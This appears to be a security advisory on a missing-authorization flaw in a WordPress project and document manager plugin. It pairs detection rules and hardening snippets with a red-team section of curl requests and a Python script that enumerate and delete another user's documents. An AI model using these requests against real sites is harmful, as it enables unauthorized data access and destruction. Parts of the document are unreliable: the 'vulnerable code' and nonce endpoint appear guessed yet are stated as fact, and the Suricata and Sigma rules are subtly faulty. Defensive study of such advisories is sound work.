CVE-2024-33923

Executive Summary

CVE-2024-33923 is a Missing Authorization vulnerability (CWE-862) in the WordPress plugin SP Project & Document Manager by Smartypants, affecting versions up to and including 4.69. This flaw allows an authenticated attacker with low privileges (e.g., subscriber) to access, modify, or delete project and document data that should be restricted to higher-privileged roles (e.g., admin, editor). The vulnerability stems from improper enforcement of capability checks in AJAX handlers and REST endpoints, enabling unauthorized data manipulation. With a CVSS score of 6.3 (Medium), the risk is elevated due to the potential for data exposure and integrity compromise. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not managed through NPM, PyPI, Go, or Ruby ecosystems. However, as a WordPress component, it is subject to supply chain risks including:

• Malicious updates if the plugin repository is compromised.
• Dependency confusion if the plugin relies on third-party libraries.
• Delayed patching due to vendor unresponsiveness (current status: UNPATCHED).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials (e.g., subscriber).
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full read access to project/document data.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited ability to delete data.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for data breaches and unauthorized changes in a WordPress environment (often hosting sensitive business documents) warrants immediate attention.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX and REST API handlers that manage project and document CRUD operations. The plugin fails to validate user capabilities (e.g., edit_posts, manage_options) before executing actions such as:

• Listing all projects/documents.
• Viewing individual document details.
• Updating project metadata.
• Deleting documents.

Root Cause: The sp_project_document_manager_ajax_handler function (or equivalent) uses current_user_can() incorrectly or not at all, allowing any authenticated user to call privileged actions. The plugin relies on client-side role checks, which are trivially bypassed.

Attack Flow:

1. Attacker authenticates as a low-privilege user (e.g., subscriber).
2. Attacker crafts a POST request to /wp-admin/admin-ajax.php with action sp_pdm_get_projects and a nonce (which is often exposed to all users).
3. The server returns all projects, including those owned by admins.
4. Attacker can then use similar requests to view, edit, or delete documents.

Vulnerable vs. Patched Code

Vulnerable Code (v4.69):

// In sp-project-document-manager.php or ajax-handler.php
add_action('wp_ajax_sp_pdm_get_projects', 'sp_pdm_get_projects_callback');
function sp_pdm_get_projects_callback() {
    // Missing capability check
    $projects = get_posts(array('post_type' => 'sp_project', 'numberposts' => -1));
    wp_send_json($projects);
}

Patched Code (Hypothetical):

add_action('wp_ajax_sp_pdm_get_projects', 'sp_pdm_get_projects_callback');
function sp_pdm_get_projects_callback() {
    // Added capability check
    if (!current_user_can('edit_others_posts')) {
        wp_die('Unauthorized', 403);
    }
    $projects = get_posts(array('post_type' => 'sp_project', 'numberposts' => -1));
    wp_send_json($projects);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with SP Project & Document Manager <= 4.69.
• Valid low-privilege user credentials (e.g., subscriber).

Exploitation Steps:

1. Obtain a valid nonce by inspecting the page source or using a tool like Burp Suite.
2. Send a crafted AJAX request to enumerate projects:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=sp_pdm_get_projects&_ajax_nonce=VALID_NONCE" \
  --cookie "wordpress_logged_in_xxx=session_cookie"

3. Parse the JSON response to extract project IDs and document metadata.
4. To delete a document, send:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=sp_pdm_delete_document&document_id=123&_ajax_nonce=VALID_NONCE" \
  --cookie "wordpress_logged_in_xxx=session_cookie"

Automation Script (Python):

import requests

target = "http://target"
session = requests.Session()
session.cookies.set("wordpress_logged_in_xxx", "session_cookie")

# Get nonce from page
r = session.get(f"{target}/wp-admin/admin-ajax.php?action=sp_pdm_get_nonce")
nonce = r.json().get("nonce")

# Enumerate projects
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "sp_pdm_get_projects",
    "_ajax_nonce": nonce
})
print(r.json())

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions prefixed sp_pdm_ from low-privilege users.
• Alert on bulk document deletions or exports by non-admin users.

Hardening:

• Apply the principle of least privilege: restrict plugin access to admin roles only.
• Use a Web Application Firewall (WAF) to block requests with missing or invalid nonces.
• Implement additional capability checks via a custom mu-plugin:

add_filter('wp_ajax_sp_pdm_get_projects', function() {
    if (!current_user_can('edit_others_posts')) {
        wp_die('Forbidden', 403);
    }
}, 1);

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /wp-admin/admin-ajax.php with action=sp_pdm_* parameters.
  • Unusual JSON responses containing project/document data from low-privilege user sessions.
• File IOCs:
  • Unexpected modifications to wp_posts table entries with post_type = 'sp_project' or 'sp_document'.
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_sp_pdm_* calls from user roles other than administrator.
  • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php HTTP/1.1 and action=sp_pdm_* in the body.

Detection Engineering

YARA Rule

rule CVE_2024_33923_SP_Project_Document_Manager {
    meta:
        description = "Detects exploitation attempts of CVE-2024-33923 in SP Project & Document Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-33923"
    strings:
        $ajax_action = /action=sp_pdm_(get_projects|get_documents|delete_document|update_project)/
        $nonce_param = "_ajax_nonce="
    condition:
        $ajax_action and $nonce_param
}

Sigma Rule

title: CVE-2024-33923 - SP Project & Document Manager Missing Authorization
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized AJAX requests to SP Project & Document Manager endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=sp_pdm_'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-33923 - SP Project & Document Manager Unauthorized Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=sp_pdm_"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Restrict plugin access using a role management plugin (e.g., User Role Editor) to allow only administrators.
3. Audit user roles and remove any unnecessary low-privilege accounts.

Long-Term Fix:

• Monitor the WordPress Plugin Directory for an official update (version 4.70+).
• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section via a custom mu-plugin.
• Implement a Web Application Firewall (WAF) rule to block sp_pdm_* AJAX actions from non-admin users.

Workaround:

• Add the following code to your theme's functions.php or a custom plugin:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'sp_pdm_') === 0 && !current_user_can('administrator')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing WordPress Ecosystems | DevSecOps & CTI Expert